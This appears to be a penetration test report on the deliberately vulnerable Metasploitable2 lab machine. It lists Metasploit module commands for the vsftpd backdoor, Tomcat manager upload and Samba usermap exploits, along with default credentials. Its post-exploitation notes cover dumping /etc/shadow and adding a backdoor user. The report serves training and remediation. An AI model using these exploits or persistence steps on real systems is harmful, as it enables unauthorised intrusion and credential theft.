Sonu Choursiya — Cybersecurity & Penetration Testing

Date:

November 2025

---

1. Executive Summary

A **Vulnerability Assessment and Penetration Test (VAPT)** was conducted on the Metasploitable2 virtual machine.
The objective was to identify security weaknesses, exploit them ethically, assess real-world impact, and recommend appropriate remediation.

During the assessment, **three high-severity vulnerabilities** were successfully exploited, resulting in **full system compromise**.

Overall Risk Rating: CRITICAL

Metasploitable2 was intentionally vulnerable; however, the findings accurately represent common misconfigurations in real-world systems.

---

2. Scope of Testing

In-Scope Target

Component	Description
Target Machine	Metasploitable2
IP Address	192.168.203.130
Testing Type	Black-box penetration testing
Attacker Machine	Kali Linux

Methodology

- Reconnaissance
- Service enumeration
- Vulnerability scanning
- Exploitation
- Post-exploitation
- Documentation

---

3. Tools Used

- Nmap
- Metasploit Framework
- Hydra
- Searchsploit
- Netcat
- enum4linux

---

4. Key Findings (Summary)

ID	Vulnerability	Severity	Result
V-01	VSFTPD 2.3.4 Backdoor	Critical	Root shell gained
V-02	Tomcat Manager RCE	High	Remote shell via WAR upload
V-03	Misconfigured Samba	High	Remote command execution

---

5. Technical Findings & Exploitation Details

🔴 5.1 Vulnerability 1 — VSFTPD 2.3.4 Backdoor

Description

The FTP service was running **vsftpd 2.3.4**, a version containing a known backdoor triggered by adding a smiley `:)` in the username.

Severity: Critical

Impact: Full root shell access remotely

Service Details

- Port: **21**
- Software: **vsftpd 2.3.4**

Exploit Steps

1. Use Metasploit module:

```
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.203.130
exploit
```

2. The backdoor binds a shell on port 6200.
3. Successful exploitation gives:

```
id
uid=0(root) gid=0(root)
```

Recommendation

- Remove vsftpd 2.3.4 immediately
- Use SFTP or FTPS instead of FTP
- Implement strong firewall rules
- Disable unused services

🟠 5.2 Vulnerability 2 — Tomcat Manager RCE

Description

Apache Tomcat was hosted on port 8180 with default or weak credentials, allowing access to the **/manager/html** console.

This allows attackers to upload a **malicious WAR file** and achieve remote code execution.

Severity: High

Impact: Remote system takeover

Exploit Steps

1. Brute-force or use default credentials:

```
username: tomcat
password: tomcat
```

2. Upload a malicious WAR file using:

```
use exploit/multi/http/tomcat_mgr_upload
```

```
set RHOSTS 192.168.203.130
exploit
```

3. Receive a reverse shell.

Recommendation

- Disable Tomcat Manager in production
- Enforce strong authentication
- Patch Tomcat to latest version
- Restrict console access to admin IPs only

🟡 5.3 Vulnerability 3 — Misconfigured Samba (SMB)

Description

The Samba share was misconfigured, allowing unauthorized access using null or guest sessions.
This provided system user information and potential shell access.

Severity: High

Impact: Unauthorized access & shell execution

Exploitation

1. Enumerate users:

```
enum4linux -a 192.168.203.130
```

2. Exploit using Metasploit module:

```
use exploit/multi/samba/usermap_script
```

```
set RHOSTS 192.168.203.130
exploit
```

3. Module spawns a shell as:

```
uid=0(root)
```

Recommendation

- Enforce authentication on Samba shares
- Disable guest access
- Update Samba packages
- Restrict share access via firewall

---

6. Post-Exploitation Summary

Once access was gained:

- Extracted `/etc/passwd` and `/etc/shadow`
- Enumerated system users
- Identified SUID binaries for privilege escalation
- Created a backdoor user for persistence (for lab purposes)

---

7. Final Risk Rating

Category	Status

System Compromise	✔ Complete
Root Access	✔ Achieved
Data Exposure	✔ High
Privilege Escalation	✔ Successful

Overall Rating: CRITICAL

---

8. Recommendations (High-Level)

Immediate

- Patch or remove all vulnerable services
- Change all default credentials
- Disable unused services
- Implement technical hardening

Long-Term

- Enforce strong password policy
- Implement SIEM monitoring
- Conduct regular VAPT assessments
- Train staff on secure configurations

---

9. Conclusion

The Metasploitable2 target was successfully compromised due to multiple critical vulnerabilities. This project demonstrates real-world attacker tactics and the importance of regular security assessments.
